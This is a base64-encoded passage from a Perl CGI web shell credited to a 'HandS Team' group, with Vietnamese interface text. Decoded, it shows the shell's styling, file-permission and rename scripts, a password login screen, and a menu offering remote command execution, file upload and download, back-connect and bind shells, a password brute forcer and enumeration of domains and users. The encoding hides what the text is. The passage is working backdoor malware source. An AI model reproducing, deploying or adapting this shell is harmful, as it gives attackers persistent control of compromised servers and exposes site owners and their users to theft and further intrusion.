GlkOwpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7Cn0KI2RvbWFpbiB0cjpob3ZlcnsKYmFja2dyb3VuZC1jb2xvcjogIzQ0NDsKfQp0ZCB7CmNvbG9yOiAjZmZmZmZmOwp9Ci5saXN0ZGlyIHRkewoJdGV4dC1hbGlnbjogY2VudGVyOwp9Ci5saXN0ZGlyIHRoewoJY29sb3I6IDAwRkYwMDsKfQouZGlyLC5maWxlCnsKCXRleHQtYWxpZ246IGxlZnQgIWltcG9ydGFudDsKfQouZGlyewoJZm9udC1zaXplOiAxMHB0OyAKCWZvbnQtd2VpZ2h0OiBib2xkOwp9CnRhYmxlIHsKQkFDS0dST1VORC1DT0xPUjogIzExMTsKfQppbnB1dCB7CkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOwpjb2xvcjogMDBGRjAwOwp9CmlucHV0LnN1Ym1pdCB7CnRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKY29sb3I6ICNGRkZGRkY7CmJvcmRlci1jb2xvcjogIzAwOTkwMDsKfQpjb2RlIHsKYm9yZGVyOiBkYXNoZWQgMHB4ICMzMzM7CmNvbG9yOiB3aGlsZTsKfQpydW4gewpib3JkZXIJCQk6IGRhc2hlZCAwcHggIzMzMzsKY29sb3I6ICNGRjAwQUE7Cn0KdGV4dGFyZWEgewpCQUNLR1JPVU5ELUNPTE9SOiAjMWIxYjFiOwpmb250OiBGaXhlZHN5cyBib2xkOwpjb2xvcjogMDBGRjAwOwp9CkE6bGluayB7CglDT0xPUjogI2ZmZmZmZjsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTp2aXNpdGVkIHsKCUNPTE9SOiAjZmZmZmZmOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmhvdmVyIHsKCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKCWNvbG9yOiAjRkZGRkZGOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmFjdGl2ZSB7Cgljb2xvcjogUmVkOyBURVhULURFQ09SQVRJT046IG5vbmUKfQoubGlzdGRpciB0cjpob3ZlcnsKCWJhY2tncm91bmQ6ICM0NDQ7Cn0KLmxpc3RkaXIgdHI6aG92ZXIgdGR7CgliYWNrZ3JvdW5kOiAjNDQ0OwoJdGV4dC1zaGFkb3c6IDBwdCAwcHQgMC4zZW0gY3lhbiwgMHB0IDBwdCAwLjNlbSBjeWFuOwoJY29sb3I6ICNGRkZGRkY7IFRFWFQtREVDT1JBVElPTjogbm9uZTsKfQoubm90bGluZXsKCWJhY2tncm91bmQ6ICMxMTE7Cn0KLmxpbmV7CgliYWNrZ3JvdW5kOiAjMjIyOwp9Cjwvc3R5bGU+CjxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPgpmdW5jdGlvbiBFbmNvZGVyKG5hbWUpCnsKCXZhciBlID0gIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKG5hbWUpOwoJZS52YWx1ZSA9IGJ0b2EoZS52YWx1ZSk7CglyZXR1cm4gdHJ1ZTsKfQpmdW5jdGlvbiBjaG1vZF9mb3JtKGksZmlsZSkKewoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVQZXJtc18iK2kpLmlubmVySFRNTD0iPGZvcm0gbmFtZT1Gb3JtUGVybXNfIiArIGkrICIgYWN0aW9uPScnIG1ldGhvZD0nUE9TVCc+PGlucHV0IGlkPXRleHRfIiArIGkgKyAiICBuYW1lPWNobW9kIHR5cGU9dGV4dCBzaXplPTUgLz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgdmFsdWU9T0s+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nZ3VpJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPSckRW5jb2RlQ3VycmVudERpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7Cn0KZnVuY3Rpb24gcm1fY2htb2RfZm9ybShyZXNwb25zZSxpLHBlcm1zLGZpbGUpCnsKCXJlc3BvbnNlLmlubmVySFRNTCA9ICI8c3BhbiBvbmNsaWNrPVxcXCJjaG1vZF9mb3JtKCIgKyBpICsgIiwnIisgZmlsZSsgIicpXFxcIiA+IisgcGVybXMgKyI8L3NwYW4+PC90ZD4iOwp9CmZ1bmN0aW9uIHJlbmFtZV9mb3JtKGksZmlsZSxmKQp7CglmLnJlcGxhY2UoL1xcXFwvZywiXFxcXFxcXFwiKTsKCXZhciBiYWNrPSJybV9yZW5hbWVfZm9ybSgiK2krIixcXFwiIitmaWxlKyJcXFwiLFxcXCIiK2YrIlxcXCIpOyByZXR1cm4gZmFsc2U7IjsKCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JycgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9cmVuYW1lIHR5cGU9dGV4dCB2YWx1ZT0gJyIrZmlsZSsiJyAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyB2YWx1ZT1PSz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgb25jbGljaz0nIiArIGJhY2sgKyAiJyB2YWx1ZT1DYW5jZWw+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nZ3VpJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPSckRW5jb2RlQ3VycmVudERpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7Cn0KZnVuY3Rpb24gcm1fcmVuYW1lX2Zvcm0oaSxmaWxlLGYpCnsKCWlmKGY9PSdmJykKCXsKCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGEgaHJlZj0nP2E9Y29tbWFuZCZkPSRFbmNvZGVDdXJyZW50RGlyJmM9ZWRpdCUyMCIrZmlsZSsiJTIwJz4iICtmaWxlKyAiPC9hPiI7Cgl9ZWxzZQoJewoJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlXyIraSkuaW5uZXJIVE1MPSI8YSBocmVmPSc/YT1ndWkmZD0iK2YrIic+WyAiICtmaWxlKyAiIF08L2E+IjsKCX0KfQo8L3NjcmlwdD4KPGJvZHkgb25Mb2FkPSJkb2N1bWVudC5mLkBfLmZvY3VzKCkiIGJnY29sb3I9IiMwYzBjMGMiIHRvcG1hcmdpbj0iMCIgbGVmdG1hcmdpbj0iMCIgbWFyZ2lud2lkdGg9IjAiIG1hcmdpbmhlaWdodD0iMCI+CjxjZW50ZXI+PGNvZGU+Cjx0YWJsZSBib3JkZXI9IjEiIHdpZHRoPSIxMDAlIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjIiPgo8dHI+Cgk8dGQgYWxpZ249ImNlbnRlciIgcm93c3Bhbj0zPgoJCTxiPjxmb250IHNpemU9IjMiPiRFZGl0UGVyc2lvbjwvZm9udD48L2I+Cgk8L3RkPgoJPHRkPgoJCSRpbmZvCgk8L3RkPgoJPHRkPlNlcnZlciBJUDo8Zm9udCBjb2xvcj0icmVkIj4gJEVOVnsnU0VSVkVSX0FERFInfTwvZm9udD4gfCBZb3VyIElQOiA8Zm9udCBjb2xvcj0icmVkIj4kRU5WeydSRU1PVEVfQUREUid9PC9mb250PgoJPC90ZD4KPC90cj4KPHRyPgo8dGQgY29sc3Bhbj0iMiI+CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbiI+SG9tZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y29tbWFuZCZkPSRFbmNvZGVDdXJyZW50RGlyIj5Db21tYW5kPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWd1aSZkPSRFbmNvZGVDdXJyZW50RGlyIj5HVUk8L2E+IHwgCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPXVwbG9hZCZkPSRFbmNvZGVDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZD0kRW5jb2RlQ3VycmVudERpciI+VCYjNzg0MztpIFh1JiM3ODg5O25nIEZpbGU8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9YmFja2JpbmQiPkJhY2sgJiBCaW5kPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJydXRlZm9yY2VyIj5CcnV0ZSBGb3JjZXI8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y2hlY2tsb2ciPkNoZWNrIExvZzwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1kb21haW5zdXNlciI+RG9tYWlucy9Vc2VyczwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1sb2dvdXQiPiYjMjcyOyYjMjU5O25nIFh1JiM3ODQ1O3Q8L2E+IHwKPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9Ii4uL2Vycm9yX2xvZy5waHAiPkhlbHA8L2E+CjwvdGQ+CjwvdHI+Cjx0cj4KPHRkIGNvbHNwYW49IjIiPgokaWQKPC90ZD4KPC90cj4KPC90YWJsZT4KPGZvbnQgaWQ9IlJlc3BvbnNlRGF0YSIgY29sb3I9IiNGRkZGRkYiID4KRU5ECn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgTG9naW4gU2NyZWVuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5TY3JlZW4KewoJcHJpbnQgPDxFTkQ7CjxwcmU+PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgpUeXBpbmdUZXh0ID0gZnVuY3Rpb24oZWxlbWVudCwgaW50ZXJ2YWwsIGN1cnNvciwgZmluaXNoZWRDYWxsYmFjaykgewogIGlmKCh0eXBlb2YgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQgPT0gInVuZGVmaW5lZCIpIHx8ICh0eXBlb2YgZWxlbWVudC5pbm5lckhUTUwgPT0gInVuZGVmaW5lZCIpKSB7CiAgICB0aGlzLnJ1bm5pbmcgPSB0cnVlOwkvLyBOZXZlciBydW4uCiAgICByZXR1cm47CiAgfQogIHRoaXMuZWxlbWVudCA9IGVsZW1lbnQ7CiAgdGhpcy5maW5pc2hlZENhbGxiYWNrID0gKGZpbmlzaGVkQ2FsbGJhY2sgPyBmaW5pc2hlZENhbGxiYWNrIDogZnVuY3Rpb24oKSB7IHJldHVybjsgfSk7CiAgdGhpcy5pbnRlcnZhbCA9ICh0eXBlb2YgaW50ZXJ2YWwgPT0gInVuZGVmaW5lZCIgPyAxMDAgOiBpbnRlcnZhbCk7CiAgdGhpcy5vcmlnVGV4dCA9IHRoaXMuZWxlbWVudC5pbm5lckhUTUw7CiAgdGhpcy51bnBhcnNlZE9yaWdUZXh0ID0gdGhpcy5vcmlnVGV4dDsKICB0aGlzLmN1cnNvciA9IChjdXJzb3IgPyBjdXJzb3IgOiAiIik7CiAgdGhpcy5jdXJyZW50VGV4dCA9ICIiOwogIHRoaXMuY3VycmVudENoYXIgPSAwOwogIHRoaXMuZWxlbWVudC50eXBpbmdUZXh0ID0gdGhpczsKICBpZih0aGlzLmVsZW1lbnQuaWQgPT0gIiIpIHRoaXMuZWxlbWVudC5pZCA9ICJ0eXBpbmd0ZXh0IiArIFR5cGluZ1RleHQuY3VycmVudEluZGV4Kys7CiAgVHlwaW5nVGV4dC5hbGwucHVzaCh0aGlzKTsKICB0aGlzLnJ1bm5pbmcgPSBmYWxzZTsKICB0aGlzLmluVGFnID0gZmFsc2U7CiAgdGhpcy50YWdCdWZmZXIgPSAiIjsKICB0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOwogIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciA9ICIiOwp9ClR5cGluZ1RleHQuYWxsID0gbmV3IEFycmF5KCk7ClR5cGluZ1RleHQuY3VycmVudEluZGV4ID0gMDsKVHlwaW5nVGV4dC5ydW5BbGwgPSBmdW5jdGlvbigpIHsKICBmb3IodmFyIGkgPSAwOyBpIDwgVHlwaW5nVGV4dC5hbGwubGVuZ3RoOyBpKyspIFR5cGluZ1RleHQuYWxsW2ldLnJ1bigpOwp9ClR5cGluZ1RleHQucHJvdG90eXBlLnJ1biA9IGZ1bmN0aW9uKCkgewogIGlmKHRoaXMucnVubmluZykgcmV0dXJuOwogIGlmKHR5cGVvZiB0aGlzLm9yaWdUZXh0ID09ICJ1bmRlZmluZWQiKSB7CiAgICBzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnIiArIHRoaXMuZWxlbWVudC5pZCArICInKS50eXBpbmdUZXh0LnJ1bigpIiwgdGhpcy5pbnRlcnZhbCk7CS8vIFdlIGhhdmVuJ3QgZmluaXNoZWQgbG9hZGluZyB5ZXQuICBIYXZlIHBhdGllbmNlLgogICAgcmV0dXJuOwogIH0KICBpZih0aGlzLmN1cnJlbnRUZXh0ID09ICIiKSB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gIiI7Ci8vICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5vcmlnVGV4dC5yZXBsYWNlKC88KFtePF0pKj4vLCAiIik7ICAgICAvLyBTdHJpcCBIVE1MIGZyb20gdGV4dC4KICBpZih0aGlzLmN1cnJlbnRDaGFyIDwgdGhpcy5vcmlnVGV4dC5sZW5ndGgpIHsKICAgIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI8IiAmJiAhdGhpcy5pblRhZykgewogICAgICB0aGlzLnRhZ0J1ZmZlciA9ICI8IjsKICAgICAgdGhpcy5pblRhZyA9IHRydWU7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI+IiAmJiB0aGlzLmluVGFnKSB7CiAgICAgIHRoaXMudGFnQnVmZmVyICs9ICI+IjsKICAgICAgdGhpcy5pblRhZyA9IGZhbHNlOwogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMudGFnQnVmZmVyOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSBpZih0aGlzLmluVGFnKSB7CiAgICAgIHRoaXMudGFnQnVmZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiJiIgJiYgIXRoaXMuaW5IVE1MRW50aXR5KSB7CiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciA9ICImIjsKICAgICAgdGhpcy5pbkhUTUxFbnRpdHkgPSB0cnVlOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiOyIgJiYgdGhpcy5pbkhUTUxFbnRpdHkpIHsKICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9ICI7IjsKICAgICAgdGhpcy5pbkhUTUxFbnRpdHkgPSBmYWxzZTsKICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLkhUTUxFbnRpdHlCdWZmZXI7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMuaW5IVE1MRW50aXR5KSB7CiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgewogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOwogICAgfQogICAgdGhpcy5lbGVtZW50LmlubmVySFRNTCA9IHRoaXMuY3VycmVudFRleHQ7CiAgICB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MICs9ICh0aGlzLmN1cnJlbnRDaGFyIDwgdGhpcy5vcmlnVGV4dC5sZW5ndGggLSAxID8gKHR5cGVvZiB0aGlzLmN1cnNvciA9PSAiZnVuY3Rpb24iID8gdGhpcy5jdXJzb3IodGhpcy5jdXJyZW50VGV4dCkgOiB0aGlzLmN1cnNvcikgOiAiIik7CiAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICBzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnIiArIHRoaXMuZWxlbWVudC5pZCArICInKS50eXBpbmdUZXh0LnJ1bigpIiwgdGhpcy5pbnRlcnZhbCk7CiAgfSBlbHNlIHsKCXRoaXMuY3VycmVudFRleHQgPSAiIjsKCXRoaXMuY3VycmVudENoYXIgPSAwOwogICAgICAgIHRoaXMucnVubmluZyA9IGZhbHNlOwogICAgICAgIHRoaXMuZmluaXNoZWRDYWxsYmFjaygpOwogIH0KfQo8L3NjcmlwdD4KPC9wcmU+Cgo8YnI+Cgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+Cm5ldyBUeXBpbmdUZXh0KGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJoYWNrIiksIDMwLCBmdW5jdGlvbihpKXsgdmFyIGFyID0gbmV3IEFycmF5KCJfIiwiIik7IHJldHVybiAiICIgKyBhcltpLmxlbmd0aCAlIGFyLmxlbmd0aF07IH0pOwpUeXBpbmdUZXh0LnJ1bkFsbCgpOwoKPC9zY3JpcHQ+CkVORAp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBlbmNvZGUgaHRtbCBzcGVjaWFsIGNoYXJzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFVybEVuY29kZSgkKXsKCW15ICRzdHIgPSBzaGlmdDsKCSRzdHIgPX4gcy8oW15BLVphLXowLTldKS9zcHJpbnRmKCIlJSUwMlgiLCBvcmQoJDEpKS9zZWc7CglyZXR1cm4gJHN0cjsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQWRkIGh0bWwgc3BlY2lhbCBjaGFycwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBIdG1sU3BlY2lhbENoYXJzKCQpewoJbXkgJHRleHQgPSBzaGlmdDsKCSR0ZXh0ID1+IHMvJi8mYW1wOy9nOwoJJHRleHQgPX4gcy8iLyZxdW90Oy9nOwoJJHRleHQgPX4gcy8nLyYjMDM5Oy9nOwoJJHRleHQgPX4gcy88LyZsdDsvZzsKCSR0ZXh0ID1+IHMvPi8mZ3Q7L2c7CglyZXR1cm4gJHRleHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEFkZCBsaW5rIGZvciBkaXJlY3RvcnkKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQWRkTGlua0RpcigkKQp7CglteSAkYWM9c2hpZnQ7CglteSBAZGlyPSgpOwoJaWYoJFdpbk5UKQoJewoJCUBkaXI9c3BsaXQoL1xcLywkQ3VycmVudERpcik7Cgl9ZWxzZQoJewoJCUBkaXI9c3BsaXQoIi8iLCZ0cmltKCRDdXJyZW50RGlyKSk7Cgl9CglteSAkcGF0aD0iIjsKCW15ICRyZXN1bHQ9IiI7Cglmb3JlYWNoIChAZGlyKQoJewoJCSRwYXRoIC49ICRfLiRQYXRoU2VwOwoJCSRyZXN1bHQuPSI8YSBocmVmPSc/YT0iLiRhYy4iJmQ9Ii5lbmNvZGVfYmFzZTY0KCRwYXRoKS4iJz4iLiRfLiRQYXRoU2VwLiI8L2E+IjsKCX0KCXJldHVybiAkcmVzdWx0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIG1lc3NhZ2UgdGhhdCBpbmZvcm1zIHRoZSB1c2VyIG9mIGEgZmFpbGVkIGxvZ2luCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5GYWlsZWRNZXNzYWdlCnsKCXByaW50IDw8RU5EOwoKCk0mIzc4NTM7dCBLaCYjNzg0OTt1Ojxicj4KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSBmb3IgbG9nZ2luZyBpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRm9ybQp7CglwcmludCA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+Ck0mIzc4NTM7dCBLaCYjNzg0OTt1OiBIYW5kU1RlYW08YnI+Ck0mIzc4NTM7dCBLaCYjNzg0OTt1OjxpbnB1dCB0eXBlPSJwYXNzd29yZCIgbmFtZT0icCI+CjxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJIYW5kUyBUZWFtIj4KPC9mb3JtPgpFTkQKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBmb290ZXIgZm9yIHRoZSBIVE1MIFBhZ2UKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRQYWdlRm9vdGVyCnsKCXByaW50ICI8YnI+Cgk8Zm9udCBjb2xvcj1yZWQ+PTwvZm9udD48Zm9udCBjb2xvcj1yZWQ+LS0tJmd0OyogIDxmb250IGNvbG9yPTAwRkYwMD5FZGl0ZWQgYnkgOjpbTWFyaW9uMDAxIC0gSGFuZFMgVGVhbSBHcm91cF06OiA8L2ZvbnQ+ICAqJmx0Oy0tLT08L2ZvbnQ+PC9jb2RlPgo8L2NlbnRlcj48L2JvZHk+CjwvaHRtbD4iOwp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBSZXRyZWl2ZXMgdGhlIHZhbHVlcyBvZiBhbGwgY29va2llcy4gVGhlIGNvb2tpZXMgY2FuIGJlIGFjY2Vzc2VzIHVzaW5nIHRoZQojIHZhcmlhYmxlICRDb29raWVzeycnfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBHZXRDb29raWVzCnsKCUBodHRwY29va2llcyA9IHNwbGl0KC87IC8sJEVOVnsnSFRUUF9DT09LSUUnfSk7Cglmb3JlYWNoICRjb29raWUoQGh0dHBjb29raWVzKQoJewoJCSgkaWQsICR2YWwpID0gc3BsaXQoLz0vLCAkY29va2llKTsKCQkkQ29va2llc3skaWR9ID0gJHZhbDsKCX0KfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBzY3JlZW4gd2hlbiB0aGUgdXNlciBsb2dzIG91dAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ291dFNjcmVlbgp7CglwcmludCAiQ29ubmVjdGlvbiBjbG9zZWQgYnkgZm9yZWlnbiBob3N0Ljxicj48YnI+IjsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIExvZ3Mgb3V0IHRoZSB1c2VyIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gbG9naW4gYWdhaW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZ291dAp7CglwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9O1xuIjsgIyByZW1vdmUgcGFzc3dvcmQgY29va2llCgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkmUHJpbnRMb2dvdXRTY3JlZW47CgoJJlByaW50TG9naW5TY3JlZW47CgkmUHJpbnRMb2dpbkZvcm07CgkmUHJpbnRQYWdlRm9vdGVyOwoJZXhpdDsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGxvZ2luIHRoZSB1c2VyLiBJZiB0aGUgcGFzc3dvcmQgbWF0Y2hlcywgaXQKIyBkaXNwbGF5cyBhIHBhZ2UgdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gcnVuIGNvbW1hbmRzLiBJZiB0aGUgcGFzc3dvcmQgZG9lbnMndAojIG1hdGNoIG9yIGlmIG5vIHBhc3N3b3JkIGlzIGVudGVyZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlcgojIHRvIGxvZ2luCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t